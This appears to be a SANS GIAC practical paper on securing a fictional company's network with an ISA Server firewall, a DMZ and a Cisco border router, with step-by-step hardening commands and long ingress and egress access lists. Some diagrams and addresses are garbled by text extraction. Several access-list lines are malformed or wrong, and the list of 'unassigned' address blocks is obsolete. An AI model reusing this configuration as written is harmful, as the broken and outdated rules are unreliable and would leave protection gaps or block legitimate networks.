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Part I Overview and Security Architecture

Welcome to GIAC Enterprises —

GIAC Enterprises is a well known E-Business company. Although it hasn’t been around
for a long time it has a history of ‘doing things right’. GIAC has developed a solid
business plan and has strong management. Their business model focuses around the
creation, purchase and resale of fortune cookie sayings. There are several key groups that
are involved in the process.

GIAC Employees — There are basically two groups of GIAC employees. The first group
of employees is located at the GIAC headquarters. There are approximately fifty people
that make up this group. The employees are located in one of several departments:
management, accounting/payroll, information technology and operations. They keep the
internal machine well oiled and running. The second group of employees is comprised of
the ‘mobile warriors’. These eight employees travel around the globe interacting with
potential customers, suppliers and partners.

GIAC Suppliers — The suppliers are individuals or groups that provide GIAC Enterprises
with the fortune sayings for resale.

GIAC Partners — This group is made up of international companies that translate the
fortune sayings for resale world-wide.

GIAC Enterprises has hired a consultant to come in and review the network
infrastructure. The management realizes, given the nature of their business and today’s
volatile times that it would be prudent to strengthen the network infrastructure following
the ‘defense in depth’ philosophy.

The consultant first reviews each of the GIAC groups to see how they interact with the
network and performs a needs analysis.

The internal employees are located on a private LAN. This LAN is comprised of clients
and servers. The employees use email to communicate with each other and the outside
world. Internet browsing is allowed for all employees. An electronic communication
policy was written and distributed for all to read and sign regarding ‘appropriate use’.
There have been no incidents to date and the policy is reviewed and republished on an
annual basis. The client PC’s are configured based on the department location, utilizing
‘imaging’ technology.
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All PC’s have Windows 2000 OS, Microsoft Office 2000, Norton’s Antivirus Corporate
Edition installed as managed clients, and Lotus Notes for the email client.

The accounting/payroll and management PC’s department also includes the IBM Client
Access product to communicate with the AS400 which is GIAC Enterprises business
machine. All billing and communication with Suppliers and Partners is done via email.
All confidential matters are encrypted using PGP.

The operations department also has a proprietary JAVA client that was written for them
to communicate with the internal WEB server which talks to the SQL server utilizing
ODBC. The SQL server is where the fortune cookie sayings are warehoused for safe
keeping and distribution.

In addition to the standard image the IT department has networking and developmental
tools installed on their PC’s.

The mobile users in addition to the email client, JAVA client and Office Suite, include a
Nortel VPN client to connect back to the corporate network via an IPSEC tunnel.

The Suppliers have access to GIAC Enterprises’ public web site just like everyone else
and they have been supplied the Nortel VPN client which allows them to connect to
GIAC Enterprises private network to upload the fortune cookie sayings that they provide
for resale. They use a browser (HTTP/HTTPS) after the VPN tunnel has been established
to connect to the internal Web Server which talks to the SQL Server.

GIAC’s partners and suppliers are categorized the same as far as connectivity is
concerned with the Nortel VPN Client as the vehicle to get them restricted access to the
private LAN utilizing a browser (HTTP/HTTPS) after the connection is made. They can
download sayings from there for translation.

GIAC Enterprises was one of the first companies to embrace VPN technology and
incorporate it into their network infrastructure. They started with 3Com equipment that
supported PPTP. They have switched over to the Nortel Contivity Switch which supports
IPSEC and has an optional firewall feature which is also being utilized.

GIAC Enterprises has a T1 Frame connection through a local ISP to the Internet as their
public access and is using a CISCO 1720 router with a T1 interface and a Fast Ethernet
port.

The consultant is familiar with the Nortel Contivity Switch and the Cisco router. He feels
that they can both continue to play a solid role in the network upgrade but is also
recommending incorporating a more robust featured firewall product. The product he is
suggesting is the Microsoft Internet Security and Acceleration Server or ISA Server. He
has submitted an example of three different network designs to the IT department and
management with his comments so a decision can be made on which would be the best
implementation for GIAC Enterprises network.
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Network Design Choices

INTERNET

INTERNET
|
DMZ - Public Network B?:d‘z?::ru;rf %
I5A
FIREWALL

54 I ‘ No DMZ
FREWALL e
Private Network
FTP ~
T G I
rvis PC SERVER AR
Trihomed DMZ Private Network
. Back to Back Configuration
ISA Server has a Public interface, All PC's sit behind a back to back
a private interface, and a DMZ interface with a Ingress & Egress Filtering Firewall configuration. Services are
public address. Provides only a single layer of defense. Using Access Lists ‘Published’ to the world through ISA.

This provides additional layers

— of defense,
=
—|| DMZ-Public Network

The third is a hybrid of the first two.
It use a back to back configuration with a

SYSLOG Computer border router using Filtering and a tri-homed
SERVER . ISA server with a public DMZ. Packet filtering is
Private Network used to provide services to the world from the DMZ

and publishing is used to provide services to the DMZ
from the private network.

The above diagram shows three possible design choices for the GIAC Enterprises
network.

I) The first network design is based on a tri-homed ISA server. The ISA server has an
interface that faces the internet. It has an interface that faces a Service Network or DMZ
with a public address, and a third interface that faces the private network. This solution
would provide the ability to use ISA’s packet filtering functionality to create access to
services on GIAC’s Service Network to its partners, suppliers and customers. It would
also incorporate ISA’s publishing rules to provide services from its private network to the
Service Network. If also installed in Integrated Mode, it could also provide Internet
access for GIAC’s employees located on its private network utilizing the Web Proxy
service. This design could also provide a VPN solution for GIAC’s remote and
telecommuter employees since ISA can be configured as a VPN server. The downsides of
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this design solution are; 1) It does not conform to the ‘defense in depth’ philosophy since
ISA would be only a single layer of protection between GIAC’s private network and the
Internet.

2) The more functions that are asked of the ISA server, provides for a more complex and
error prone configuration and a potential of overloading the system.

IT) The second diagram illustrates the back-to-back configuration. This design does
comply with the ‘defense in depth’ model by utilizing either a border router or another
ISA server facing the Internet and an ISA server sitting behind it protecting the private
network. ISA server can ‘publish’ services provided by servers on the private network to
the Internet. Using ISA Server’s Publishing Rules GIAC Enterprises could provide access
to its customers, partners and suppliers that were located on its private network. If the
second ISA Server were installed in Integrated Mode it would also provide Internet
access to its Employees located on the private network utilizing its Web Proxy Service.
The ISA Server facing the Internet could also be configured to support VPN connections
accepting PPTP and/or L2TP w/IPSEC connections from the remote and telecommuter
GIAC employees. The major downside to this design solution is that all services that
need to be provided are located on GIAC’s private network. Although this design
solution does provide the needed functionality, it is not considered best practice.

IIT) The third network design shown above is a hybrid of the first two. It uses a Border
Router doing Ingress and Egress filtering facing the Internet and a tri-homed ISA Server
behind it with a public Service Network or DMZ. In this case ISA Server uses packet
filtering to provide services to the Internet form the Service Network or DMZ and uses
Publishing Rules to provide services to the Service Network or DMZ from the private
network. This design will allow GIAC Enterprises to; 1) Provide services to its
customers, partners and suppliers, located on the Service Network. This can be
accomplished by configuring packet filtering on the ISA server. Possible services that
could be located there are Web services, DNS services, Time Server service (for external
and internal hosts) and FTP services. 2) Needed Services for the hosts on the Service
Network from the private network can be provided by utilizing Publishing Rules on the
ISA Server. 3) ISA Server can also be installed in Integrated Mode to allow GIAC
employees on the private network Internet access through its Web Proxy service and
provide caching to minimize bandwidth utilization. 4) VPN tunneling can also be
supported on ISA server for client connections for remote and telecommuter employees
using PPTP and /or L2TP with IPSEC. The benefits of this design are: 1) It complies with
the ‘defense in depth’ model by utilizing a multi-layered design. 2) It utilizes different
types of equipment which can be viewed as ‘strength in diversity’. 3) Since publishing
rules on the ISA Server open and close ports dynamically, it adds another layer of
protection to the private network. The primary downside of the design is that we are still
asking ISA Server to do a lot. Again the point being that the more services running on the
same box should cause concern for complex configuration issues and over loading
resource availability.
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After careful consideration of the three design choices listed above the GIAC IT staff
with management’s approval has decided on the design below.

Network Addressing
Cisco Router Serial Interface facing Internet:
Assigned Address wiSP - 41.1.0/30
4-2 =2 addresses 4.1.1.1-4.1.1.2
ISP address - BR's default Gateway - 4.1.1.1/30
Address on Interface of Serial 0 - 4.1.1.2/30

Assigned public addresses from ISP for my
Public Network: 110.10.10.0/29 - §-2=6 addresses
Valid Address Range: 110.10.10.1 - 110.10.10.6
Cisco Eth0: 110.10.10.1/29

ISA Server Public EthD: 110.10.10.1.2/28
Contivity Switch Public Eth0:110.10.10.3.3/29

Assigned public addresses from ISP for

Service Network: 110.20.20.0/28 - 16-2 = 14 addresses
Valid Address Range: 110.20.20.1 - 110.20.20.14

ISA Server Eth1: 110.20.20.1/28

‘Web Server:110.20.20.2/28

DNS Server:110.20.20.3/28

SMTP Server:110.20.20.4/28

NTP Server 110.20.20.5/28

IDS Server:110.20.20.6/28

Private Network Address Space Class C:

Servers/Clients 192.168.50.0/24 - 256-2=254 valid addresses
VPN Clients |1 192.168.75.0/28 - 16-2 = 14 addresses

VPN Clients Il 192.168.100.0/25 - 128-2= 126 addresses
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Private Network from Service Network. Contivity Switch Mgt. Interface: 192.168.60.249/29
Syslog Server: 192.168.50.3i24
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—PRIVATE NETWORK ———— = FTPRIVATE NETWORK! ggf gerver_-wz.ﬁs.su.sm
—— A erver:192.168.50.6/24
NTP Server: 192.168.50.7/24
Mail Server:192.168.50.8/24
AS400 Server:192.168.50.9/24

2 & Server Address Space:192.168.50.1-192.168.50.25/24
ASH00 SYSL0G e Client Address Space:192.168.50.26-192.168.60.253/24
SERVER gem Mobile Users:

VPN Client Address Space: 192.168.75.1-192168.75.14
Partners/Suppliers:

VPN Client Address Space: 192.168.100.1-182.168.100.126/25

Clisnt Cliant Cliant

This design is taken from the third example from above. It utilizes the current Cisco 1720
router and the Nortel Contivity Switch adding the ISA server as the primary firewall with
four interfaces — a tri-homed server plus one additional interface. In this design
implementation we are not asking the ISA server to provide the VPN services which
simplifies the setup and maintenance and offloads this service avoiding taxing the ISA’s
resources. The VPN connections are terminated by the Nortel Switch and then connected
to the ISA server by its fourth interface, which brings all inbound connections through
the firewall.

By using Ingress and Egress filtering on the Cisco 1720 router we can eliminate some of
the ‘internet noise’ from the ISA server which can also help to reduce the overhead on
this box. Based on this design the ISA server has one interface facing the public behind
the Cisco router. A second interface is attached to a service network (screened subnet or
DMZ) also with a public address. The third interface is facing the private GIAC LAN.
And the fourth interface is the connection between it and the Nortel VPN switch. This
design will utilize both packet filtering rules and publishing rules on the ISA server. The
servers on the service network will be provided to the public using packet filtering rules
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(static) on the ISA server. Services needed by the servers on the DMZ from the private
LAN will be provided by ISA Server’s publishing rules (dynamic).

The internal employees currently have access to the internal servers, including the
internal DNS server to resolve internal network names. ISA server will provide access to
the Internet for browsing (HTTP/HTTPS) and FTP. Email is handled via the internal
Notes server which talks to a mail relay host on the Service Network (DMZ). The internal
DNS server is authoritative for the internal name space giac.local and uses the ISP’s DNS
server as its forwarder for resolving public names. The public DNS server is authoritative
for giac.com and the ISP’s DNS servers are secondary name servers for GIAC
Enterprise’s public domain name.

The GIAC mobile users will connect to the GIAC private network with the Nortel VPN
client. Each employee is given a specific [P address upon connection so that the firewall
can differentiate between connection sources and provide them access to specific devices
on the private LAN. They will use the connection for email and connecting to the internal
web server. GIAC Enterprises is also using an International ISP to provide its mobile
users local connectivity to the Internet where ever they may be located.

The GIAC suppliers and partners use either the Nortel VPN Client or the BayNetworks
100-S for VPN tunneling to GIAC’s private LAN. The BayNetworks 100-S is used to
create a persistent branch office connection back to the Contivity Switch which provides

a gateway-to-gateway tunnel that can have private networks behind each end point. The
Contivity Switch will allow them to talk to the internal WEB server (HTTP/HTTPS).

GIAC potential customers can visit the public WEB server at www.giac.com to see
company information, mission statement, etc. They can also get information on becoming
GIAC customers so that they can purchase fortune cookie sayings online through a secure
WEB session (HTTPS/SSL).

Part II Security Policy and Tutorial

Cisco 1720 Hardware Specification —

Quantity | Catalog Number and Description Unit | Unit Price | Extended Price

1 N/S EA | 872.34 | 872.35
(CISCO  CISCO1721)

10/100BASET MODULAR ROUTER W/2
SLOTS, 16M FLASH/32M DRAM

1 N/S EA | 730.00 | 730.00
(CISCO  WIC-1DSU-T1)

1-PORT T1/FRACTIONAL T1 DSU/CS
INTERFACE CARD

1 N/S EA | 320.00 | 320.00
(CISCO  CON-OSP-1721)

24X7X4 ONSITE SVC, 10/100BASET
MODULAR ROUTER W/2 WAN SLOTS
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Total $1.922.35

Border Router Configuration-

The configuration will be done through the console port. This is accessed using a

terminal program and attaching the Cisco cable to a serial port of the computer and the
console port of the Cisco router.

Communications

110 (300 © BOO O 1200

Cancel
2400 ¢ 4800 = 9600 ¢ 19200

Baud Rate E
 Cancel |

Data Bits Stop Bits

= e F 8 1 {15 (2
Parity Flow Control Connector

* None " Hon/Xoff Hone “
" Odd " Hardware EI!IHE: e
" Even * None

" Mark

" Space [ Parity Check [ Carrier Detect

The screen shot above reflects the settings that are being used. They are 9600 baud, 8
data bits, 1 stop bits, no flow control and COM1 is the serial port where the cable is
connected. By clicking the OK button and pressing the enter key you will be presented
with a console prompt similar to the following example.
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&1 Terminal - 3COM.TRM
File Edit Settings Phone Transfers Help

GIAC_BR>

Typing ‘show version’ or ‘sh ver’ will display information about the router like below:
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GIAC_BR#sh ver

Cisco Internetwork Operating System Software

I0S (tm) C1700 Software (C1700-SY-M), Version 12.1(5)T8, RELEASE SOFTWARE
(fcl)

TAC Support: http://www.cisco.com/cgi-bin/ibld/view.pl?i=support

Copyright (¢) 1986-2001 by cisco Systems, Inc.

Compiled Tue 08-May-01 01:57 by ccai

Image text-base: 0x800080EQ, data-base: 0x80879EF4

ROM: System Bootstrap, Version 12.0(3)T, RELEASE SOFTWARE (fc1)

ROM: C1700 Software (C1700-SY-M), Version 12.1(5)T8, RELEASE SOFTWARE (fcl)
GIAC_BR uptime is 2 weeks, 21 hours, 57 minutes

System returned to ROM by power-on

System image file is "flash:c1700-sy-mz.121-5.T8"

cisco 1720 (MPC860) processor (revision 0x601) with 24576K/8192K bytes of memory
.Processor board ID JAD05220QCA (3800871896), with hardware revision 0000

MS860 processor: part number 0, mask 32

Bridging software.

X.25 software, Version 3.0.0.

1 FastEthernet/IEEE 802.3 interface(s)

1 Serial network interface(s)

WIC T1-DSU

32K bytes of non-volatile configuration memory.

8192K bytes of processor board System flash (Read/Write)

Configuration register is 0x2102

In user mode you can view some information like shown above but are not allowed to
make any changes. The next mode is the EXEC User mode. By typing ‘enable’ and a
password (if one has been configured) you will be in this mode. There are actually 0 — 15
levels but by not adding the specific /evel to the command by default you will be at the
highest level of 15. The prompt will change from router> to router#. From here we can
get into the Global Configuration Mode by typing the command:

router#config —t

This command is communicating to the router that we are going to do configurations
from a terminal session — configure terminal. This is where we start the configuration of
the router and will start by giving the router a name.

router(config)#hostname GIAC_BR (press the enter key to complete)
GAIC_BR(config)# is now the router prompt.

GIAC_BR(config)# banner %
WARNING: Authorized Access Only! All others will be prosecuted.
%
Adding a banner can help in litigation matters.
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GAIC BR(config)# service timestamps debug datetime msec localtime show-
timezone
GAIC_BR(config)# service timestamps log datetime msec localtime show-timezone

The service-timestamps command will configure the system to timestamp logging and
debugging. The options include:

datetime — Timestamp with the date and time.

msec — include milliseconds in the date and timestamp.

localtime — Timestamp relative to the local time zone.

GAIC_BR(config)# service password-encryption

The service passwords-encryption command will encrypt the passwords that are located
on the router.

GAIC BR(confg)# enable secret g04it2day

The enable secret command protects the EXEC user level and encrypts the secret with a
Cisco-proprietary algorithm.

Since no remote access is required we can disable it.
GIAC_BR(config)# access-list 2 deny any
GIAC_BR(config)# line vty 0 4

GIAC BR(config-line)# access-clsass 2 in

Go back to the global configuration mode by typing exit.

GIAC BR(config-line)#exit
GIAC_BR(config)#

To log to a Syslog server located on the GIAC private LAN we point the router to the
public interface of the ISA server since this service is being published by ISA.

GIAC_BR(config)#logging 110.10.10.2

Next we will block services that could be used to gain information about the GIAC
Enterprise network.

GIAC_BR(config)#no ip classless

This no ip classless command will prevent the router from using the default route for
unknown subnets of directly connected networks. http://www.dtool.com/ipclassless.html

GICA BR(config)#no ip source-route
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The no ip source-route will drop all packets with the source-route flag set. This could be
used to spoof an IP address and even jump over NAT to a private network.

GIAC BR(config)#no snmp-server

The no snmp command will disable the snmp service. GIAC Enterprises will not be using
SNMP on the router so it is not needed.

GIAC BR(config)#no service finger

The finger protocol defined in RFC 742 could be used to gather information about GIAC
Enterprises network that could be used by hackers for informational gathering.

GIAC_BR(config)#no c¢dp run

The no cdp run command will disable the cdp protocol. Cisco Discovery protocol uses
SNAP to communicate information to neighbor Cisco routers.

GIAC BR(config)#no service tcp-small servers
GIAC BR(config)#no service udp-small servers

The no service tcp-small servers and the no service udp-small servers commands disable
the echo, chargen, and daytime services that could possibly be used in a DOS attack.

GIAC_BR(config)#no ip http server

The http server service allows admin configuration from a browser. This is normally
turned off by default on most routers but we will explicitly disable with the no ip http
server command above.

GIAC_BR(config)#no ip bootp server

The no ip bootp server disables the bootp server that is not needed.
GIAC_BR(config)#no ip domain-lookup

This will save CPU cycles since we do not need to do DNS resolution.

GIAC BR(config)#ntp server 110.10.10.2

The ntp server <ip address> command will allow the system clock to be synchronized
with the GIAC Time Server. Time synchronization is very important when doing log

analysis, trouble shooting or if log records are involved in any type of litigation. Again
since this service is being published by ISA the router is pointed at its public interface.
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Next we will do some interface specific commands by entering interface configuration
mode.

GIAC BR(config)#interface serial 0
GIAC BR(config-if)#no ip directed-broadcasts

The no ip directed-broadcasts command prevents smurf attacks by blocking broadcast
traffic.

GIAC_BR(config-if)#no ip unreachables
The no ip unreachables command will prevent possible inverse mapping of the network.
GIAC_BR(config-if)#no ip redirects

The no ip redirects command will keep the router from sending redirect messages back
out to the Internet since this message should only be seen on a local network.

To exit the interface configuration mode and return to the Global configuration mode
type exit at the router prompt.

GIAC BR(config-if)#exit
GIAC_BR(config)#

Next we will create Ingress and Egress filters using access-lists. Cisco has two types of IP
access-lists, Standard and Extended. The standard access-lists are numbered from 1-99
and can only filter on source address. The extended access-lists are numbered from 100 —
199 and filter on many more items. The syntax shown below is an excerpt from the
Advanced Cisco Router Configuration Student Guide, Revision 11.3.

“Access-list access-list-number {permit | deny} {protocol | protocol keyword}
{source source-wildcard | any} {destination destination-wildcard | any}

[protocol-specific options] [log]

Here is the breakout of the command:

access-list Command Description

access-list number a number from 100 to 199.

permit | deny Whether this entry is used to allow or block the
specified address(es).

protocol ip, tcp, udp, icmp, igmp, gre, igrp, eigrp, ospf,

© SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.



nos, or a number in the range of 0 through 255.

To match any Internet protocol, use the keyword ip.
Some protocols have more options that are
supported by an alternate syntax for this command.

source and destination IP addresses.

source-wildcard and Wildcard masks of address bits that must match. Os

destination wild-card indicate bits that must match, 1s are “don’t care
bits.”

any Use this keyword as an abbreviation for a source

and source-wildcard, and destination and
destination-wildcard of 0.0.0.0 255.255.255.255.

log (Optional) Causes an informational logging
messages about the packet that matches the entry
to be sent to the console. Exercise caution when
using this keyword because it consumes CPU
cycles.”

As one may see, with extended access-lists we have much more flexibility in the control.
An access list can be created locally on the router. This is usually not the best practice
because the rules or order sensitive can be lengthy; and if you make a mistake, you have
to remove the list and start all over again. The recommended way to create access-lists is
to use a simple text editor like Notepad and then cut and paste.

This will be the start of the Ingress filter for the Border Router.
It will include comments marked by (!).

'We will first block all private addresses coming in from the Internet defined by RFC
1918.

access-list 101 deny ip 10.0.0.0 0.0.0.255 any log

access-list 101 deny ip 172.16.0.0 0.15.0.0 any log

access-list 101 deny ip 192.168.0.0 0.0.255.255 log

access-list 101 deny ip any 10.0.0.0 0.255.255.255 log

access-list 101 deny ip any 172.16.0.0 0.15.255.255 log

access-list 101 deny ip any 192.168.0.0 0.0.255.255 log

Block broadcast addresses
access-list 101 deny ip 255.0.0.0 0.255.255.255 any log

'hen the multicast addresses

'Class D
access-list 101 deny ip 224.0.0.0 31.255.255.255 any log
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!Class E Reserved
access-list 101 deny ip 240.0.0.0 15.255.255.255 any log

!'Then the local loop address
access-list 101 deny ip 127.0.0.1 0.0.0.255 any log

'Windows self assigned
access-list 101 deny ip 169.254.0. 0.0.255.255. any log

'We will want to block our internal public addresses since we should never see this
coming from the outside. (Using the unassigned 110.0.0.0 address space for my lab.)
access-list 101 deny ip 110.10.10.0 0.0.0.7 any log

access-list 101 deny ip 110.20.20.0 0.0.0.15 any log

!'Then block the IANA unassigned public numbers
access-list 101 deny ip 0.0.0.0 0.0.0.0 any log
access-list 101 deny ip 1.0.0.0 0.255.255.255 any log
access-list 101 deny ip 2.0.0.0 0.255.255.255 any log
access-list 101 deny ip 5.0.0.0 0.255.255.255 any log
access-list 101 deny ip 7.0.0.0 0.255.255.255 any log
access-list 101 deny ip 23.0.0.0 0.255.255.255 any log
access-list 101 deny ip 27.0.0.0 0.255.255.255 any log
access-list 101 deny ip 31.0.0.0 0.255.255.255 any log
access-list 101 deny ip 36.0.0.0 0.255.255.255 any log
access-list 101 deny ip 37.0.0.0 0.255.255.255 any log
access-list 101 deny ip 39.0.0.0 0.255.255.255 any log
access-list 101 deny ip 41.0.0.0 0.255.255.255 any log
access-list 101 deny ip 42.0.0.0 0.255.255.255 any log
access-list 101 deny ip 49.0.0.0 0.255.255.255 any log
access-list 101 deny ip 50.0.0.0 0.255.255.255 any log
access-list 101 deny ip 58.0.0.0 0.255.255.255 any log
access-list 101 deny ip 59.0.0.0 0.255.255.255 any log
access-list 101 deny ip 60.0.0.0 0.255.255.255 any log
access-list 101 deny ip 69.0.0.0 0.255.255.255 any log
access-list 101 deny ip 70.0.0.0 0.255.255.255 any log
access-list 101 deny ip 71.0.0.0 0.255.255.255 any log
access-list 101 deny ip 72.0.0.0 0.255.255.255 any log
access-list 101 deny ip 73.0.0.0 0.255.255.255 any log
access-list 101 deny ip 74.0.0.0 0.255.255.255 any log
access-list 101 deny ip 75.0.0.0 0.255.255.255 any log
access-list 101 deny ip 76.0.0.0 0.255.255.255 any log
access-list 101 deny ip 77.0.0.0 0.255.255.255 any log
access-list 101 deny ip 78.0.0.0 0.255.255.255 any log
access-list 101 deny ip 79.0.0.0 0.255.255.255 any log
access-list 101 deny ip 82.0.0.0 0.255.255.255 any log
access-list 101 deny ip 83.0.0.0 0.255.255.255 any log
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access-list 101 deny ip 84.0.0.0 0.255.255.255 any log
access-list 101 deny ip 85.0.0.0 0.255.255.255 any log
access-list 101 deny ip 86.0.0.0 0.255.255.255 any log
access-list 101 deny ip 87.0.0.0 0.255.255.255 any log
access-list 101 deny ip 88.0.0.0 0.255.255.255 any log
access-list 101 deny ip 89.0.0.0 0.255.255.255 any log
access-list 101 deny ip 90.0.0.0 0.255.255.255 any log
access-list 101 deny ip 91.0.0.0 0.255.255.255 any log
access-list 101 deny ip 92.0.0.0 0.255.255.255 any log
access-list 101 deny ip 93.0.0.0 0.255.255.255 any log
access-list 101 deny ip 94.0.0.0 0.255.255.255 any log
access-list 101 deny ip 95.0.0.0 0.255.255.255 any log
access-list 101 deny ip 96.0.0.0 0.255.255.255 any log
access-list 101 deny ip 97.0.0.0 0.255.255.255 any log
access-list 101 deny ip 98.0.0.0 0.255.255.255 any log
access-list 101 deny ip 99.0.0.0 0.255.255.255 any log
access-list 101 deny ip 100.0.0.0 0.255.255.255 any log
access-list 101 deny ip 101.0.0.0 0.255.255.255 any log
access-list 101 deny ip 102.0.0.0 0.255.255.255 any log
access-list 101 deny ip 103.0.0.0 0.255.255.255 any log
access-list 101 deny ip 104.0.0.0 0.255.255.255 any log
access-list 101 deny ip 105.0.0.0 0.255.255.255 any log
access-list 101 deny ip 106.0.0.0 0.255.255.255 any log
access-list 101 deny ip 107.0.0.0 0.255.255.255 any log
access-list 101 deny ip 108.0.0.0 0.255.255.255 any log
access-list 101 deny ip 109.0.0.0 0.255.255.255 any log

'Using the 110.0.0.0 address space for my lab. Will not
include in the actual router configuration.
laccess-list 101 deny ip 110.0.0.0 0.255.255.255 any log
access-list 101 deny ip 111.0.0.0 0.255.255.255 any log
access-list 101 deny ip 112.0.0.0 0.255.255.255 any log
access-list 101 deny ip 113.0.0.0 0.255.255.255 any log
access-list 101 deny ip 114.0.0.0 0.255.255.255 any log
access-list 101 deny ip 115.0.0.0 0.255.255.255 any log
access-list 101 deny ip 116.0.0.0 0.255.255.255 any log
access-list 101 deny ip 117.0.0.0 0.255.255.255 any log
access-list 101 deny ip 118.0.0.0 0.255.255.255 any log
access-list 101 deny ip 119.0.0.0 0.255.255.255 any log
access-list 101 deny ip 120.0.0.0 0.255.255.255 any log
access-list 101 deny ip 121.0.0.0 0.255.255.255 any log
access-list 101 deny ip 122.0.0.0 0.255.255.255 any log
access-list 101 deny ip 123.0.0.0 0.255.255.255 any log
access-list 101 deny ip 124.0.0.0 0.255.255.255 any log
access-list 101 deny ip 125.0.0.0 0.255.255.255 any log
access-list 101 deny ip 126.0.0.0 0.255.255.255 any log
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access-list 101 deny ip 197.0.0.0 0.255.255.255 any log
access-list 101 deny ip 221.0.0.0 0.255.255.255 any log
access-list 101 deny ip 222.0.0.0 0.255.255.255 any log
access-list 101 deny ip 223.0.0.0 0.255.255.255 any log
'Block Microsoft Services ! Don't need to log

access-list 101 deny tcp any any range 135 139
access-list 101 deny udp any any range 135 139

!New for Windows 2000

access-list 101 deny tcp any any eq 445
access-list 101 deny udp any any eq 445

'Block TFTP services
access-list 101 deny udp any any eq 69 log
'Block the SYSLOG Service

access-list 101 deny udp any any eq 514 log
'Block the SNMP Service

access-list 101 deny udp any any range 161 162 log

ISpecifically refuse traffic from problem sites
I'This is an example and will not be included in the configuration file.

laccess-list 101 deny ip 206.230.48.0 0.0 0.255

'Now we will let everything else through but won’t log it unless we have trouble.
access-list 101 permit ip any any

'End of Ingress filter!

Next we need to configure the Egress Filter for the Border Router.

I'This will be the start of the Egress filter for the Border Router
'Beginning Access-list 199 Egress Filter

'We will first block all private addresses - RFC 1918

access-list 199 deny ip 10.0.0.0 0.255.255.255 any log
access-list 199 deny ip 172.16.0.0 0.15.255.255 any log
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access-list 199 deny ip 192.168.0.0 0.0.255.255 any log
access-list 199 deny ip any 192.168.0.0 0.0.255.255 any log
access-list 199 deny ip any 172.15.0.0 0.15.255.255 any log
access-list 199 deny ip any 10.0.0.0 0.255.255.255 any log

!'The local loop address

access-list 199 deny ip 127.0.0.1 0.0.0.255 any log
'Block broadcasts address

access-list 199 deny ip 255.0.0.0 0.255.255.255
'Windows self assigned

access-list 199 deny ip 169.254.0. 0.0.255.255. any log
'Don't allow specific ICMP packets out

access-list 199 deny icmp any any 3 0 ! net-unreachable
access-list 199 deny icmp any any 3 1 ! host-unreachable
access-list 199 deny icmp any any 3 3 ! port-unreachable

'Blocking the Don’t Fragment ICMP message from going out
lis appropriate but can cause networking issues if it is blocked coming in.

access-list 199 deny icmp any any 3 4 ! DF bit set packet-too-big

access-list 199 deny icmp any any 3 13 ! administratively-prohibited
access-list 199 deny icmp any any 4 ! source-quench

access-list 199 deny icmp any any 11 0! ttl-expired

access-list 199 deny icmp any any 17 ! address mask request
access-list 199 deny icmp any any 18 ! address mask reply

'Deny ident
access-list 199 deny tcp any any eq 113

INext we will block all the unassigned address
access-list 199 deny ip 0.0.0.0 0.0.0.0 any log
access-list 199 deny ip 1.0.0.0 0.255.255.255 any log
access-list 199 deny ip 2.0.0.0 0.255.255.255 any log
access-list 199 deny ip 5.0.0.0 0.255.255.255 any log
access-list 199 deny ip 7.0.0.0 0.255.255.255 any log
access-list 199 deny ip 23.0.0.0 0.255.255.255 any log
access-list 199 deny ip 27.0.0.0 0.255.255.255 any log
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access-list 199 deny ip 31.0.0.0 0.255.255.255 any log
access-list 199 deny ip 36.0.0.0 0.255.255.255 any log
access-list 199 deny ip 37.0.0.0 0.255.255.255 any log
access-list 199 deny ip 39.0.0.0 0.255.255.255 any log
access-list 199 deny ip 41.0.0.0 0.255.255.255 any log
access-list 199 deny ip 42.0.0.0 0.255.255.255 any log
access-list 199 deny ip 49.0.0.0 0.255.255.255 any log
access-list 199 deny ip 50.0.0.0 0.255.255.255 any log
access-list 199 deny ip 58.0.0.0 0.255.255.255 any log
access-list 199 deny ip 59.0.0.0 0.255.255.255 any log
access-list 199 deny ip 60.0.0.0 0.255.255.255 any log
access-list 199 deny ip 69.0.0.0 0.255.255.255 any log
access-list 199 deny ip 70.0.0.0 0.255.255.255 any log
access-list 199 deny ip 71.0.0.0 0.255.255.255 any log
access-list 199 deny ip 72.0.0.0 0.255.255.255 any log
access-list 199 deny ip 73.0.0.0 0.255.255.255 any log
access-list 199 deny ip 74.0.0.0 0.255.255.255 any log
access-list 199 deny ip 75.0.0.0 0.255.255.255 any log
access-list 199 deny ip 76.0.0.0 0.255.255.255 any log
access-list 199 deny ip 77.0.0.0 0.255.255.255 any log
access-list 199 deny ip 78.0.0.0 0.255.255.255 any log
access-list 199 deny ip 79.0.0.0 0.255.255.255 any log
access-list 199 deny ip 82.0.0.0 0.255.255.255 any log
access-list 199 deny ip 83.0.0.0 0.255.255.255 any log
access-list 199 deny ip 84.0.0.0 0.255.255.255 any log
access-list 199 deny ip 85.0.0.0 0.255.255.255 any log
access-list 199 deny ip 86.0.0.0 0.255.255.255 any log
access-list 199 deny ip 87.0.0.0 0.255.255.255 any log
access-list 199 deny ip 88.0.0.0 0.255.255.255 any log
access-list 199 deny ip 89.0.0.0 0.255.255.255 any log
access-list 199 deny ip 90.0.0.0 0.255.255.255 any log
access-list 199 deny ip 91.0.0.0 0.255.255.255 any log
access-list 199 deny ip 92.0.0.0 0.255.255.255 any log
access-list 199 deny ip 93.0.0.0 0.255.255.255 any log
access-list 199 deny ip 94.0.0.0 0.255.255.255 any log
access-list 199 deny ip 95.0.0.0 0.255.255.255 any log
access-list 199 deny ip 96.0.0.0 0.255.255.255 any log
access-list 199 deny ip 97.0.0.0 0.255.255.255 any log
access-list 199 deny ip 98.0.0.0 0.255.255.255 any log
access-list 199 deny ip 99.0.0.0 0.255.255.255 any log
access-list 199 deny ip 100.0.0.0 0.255.255.255 any log
access-list 199 deny ip 101.0.0.0 0.255.255.255 any log
access-list 199 deny ip 102.0.0.0 0.255.255.255 any log
access-list 199 deny ip 103.0.0.0 0.255.255.255 any log
access-list 199 deny ip 104.0.0.0 0.255.255.255 any log
access-list 199 deny ip 105.0.0.0 0.255.255.255 any log
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access-list 199 deny ip 106.0.0.0 0.255.255.255 any log
access-list 199 deny ip 107.0.0.0 0.255.255.255 any log
access-list 199 deny ip 108.0.0.0 0.255.255.255 any log
access-list 199 deny ip 109.0.0.0 0.255.255.255 any log

'Using the 110.0.0.0 for lab. Will not include in the configuration file.
laccess-list 199 deny ip 110.0.0.0 0.255.255.255 any log

access-list 199 deny ip 111.0.0.0 0.255.255.255 any log
access-list 199 deny ip 112.0.0.0 0.255.255.255 any log
access-list 199 deny ip 113.0.0.0 0.255.255.255 any log
access-list 199 deny ip 114.0.0.0 0.255.255.255 any log
